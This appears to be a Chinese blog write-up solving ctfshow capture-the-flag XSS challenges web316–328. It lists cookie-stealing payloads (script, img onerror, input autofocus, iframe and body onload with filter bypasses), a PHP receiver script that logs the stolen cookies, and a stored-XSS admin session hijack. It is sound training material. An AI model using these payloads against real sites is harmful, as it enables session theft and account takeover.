xss

xss漏洞

xss漏洞原理

web316

有一个输入框
输入一个简单的script代码测试一下是否有xss漏洞

1
<script>alert('hah')</script>

生成了一个警告框,说明有xss漏洞

1
2
<script>alert(document.cookie)</script>
//flag=you%20are%20not%20admin%20no%20flag

应该是自己x了自己
传到我们自己的服务器上
这是我提前写好的b.php

1
2
3
4
5
6
7
8
9
10
11
<?php
$filename="/var/www/html/flag.txt";
$data=$_GET[a];

$result=file_put_contents($filename,$data);

if($result!==false){
echo "cg";
}else{
echo "no";
}

payload:

1
<script>document.location.href="http://ipipipip/b.php?a="+document.cookie</script>

上传后页面跳转,显示cg,而我们b.php里cg代表上传成功
进入flag.txt查看写入内容

1
PHPSESSID=; flag=ctfshow{a6e4f621-36bf-442b-bcd4-c489b31f3696}

web317

这题过滤了script大小写,但我们可以用img,input等等方法
img

1
<img src='' onerror=location.href='http://ipipip/b.php?a='+document.cookie>

input

1
<input onfocus="window.open('http://ipipip/b.php?a='+document.cookie)" autofocus>

web318

增加了对img的过滤,但没过滤iput

1
<input onfocus="window.open('http://ipipip/b.php?a='+document.cookie)" autofocus>

web319

没有测试过滤了什么,但input仍然未被过滤,继续使用

1
<input onfocus="window.open('http://ippipi/b.php?a='+document.cookie)" autofocus>

web320

测试了很多标签,但都没用
本题过滤了空格,空格用%09代替
payload:

1
2
3
?msg=<iframe%09onload%3D"alert('ll')"><%2Fiframe>

?msg=<iframe%09onload%3D"window.open('http%3A%2F%2Fipipippip%2Fb.php%3Fa%3D'%2Bdocument.cookie)"><%2Fiframe>

在url上输入,在框内输入会被编码

web321-322

同上

web323-326

过滤了iframe
用body

1
<body/**/onload="window.location.href='http://ipipipip/b.php?a='+document.cookie"></body>

web327

存储型xss
发件人随意,收件人admin不然会失败
x信的内容

1
<body/**/onload="window.location.href='http://ipipipip/b.php?a='+document.cookie"></body>

web328

随便翻翻,用户管理需要admin才能查看账户密码
先狠狠的注入
经过测试用户名和密码都可以输入xss代码,没有限制
以用户名举例(经过测试,万能的body在这里不能用,反而script可以用)

1
2
user:<script>document.location.href="http://ippiip/b.php?a="+document.cookie</script>
password:123

登录成功后看看我们的服务器flag.txt有没有收到内容
得到了一个PHPSESSID,但没有flag
这是管理员cookie
把cookie改了伪造下
先前不是说只有管理员才能看用户密码吗
切到用户管理页面,发现内容还是被不可见,但我们确实显示是admin了
抓个包试试
第一个包没有什么信息,但是我们又额外抓了一个包

通过它的get信息?page=1&limit=10知道了这是抓到了表格的包
它的cookie还是原来自己的cookie,我们将它改为获取的管理员cookie
返回界面,内容不再被遮掩


xss
http://example.com/2023/10/20/xss/
作者
奇怪的奇怪
发布于
2023年10月20日
许可协议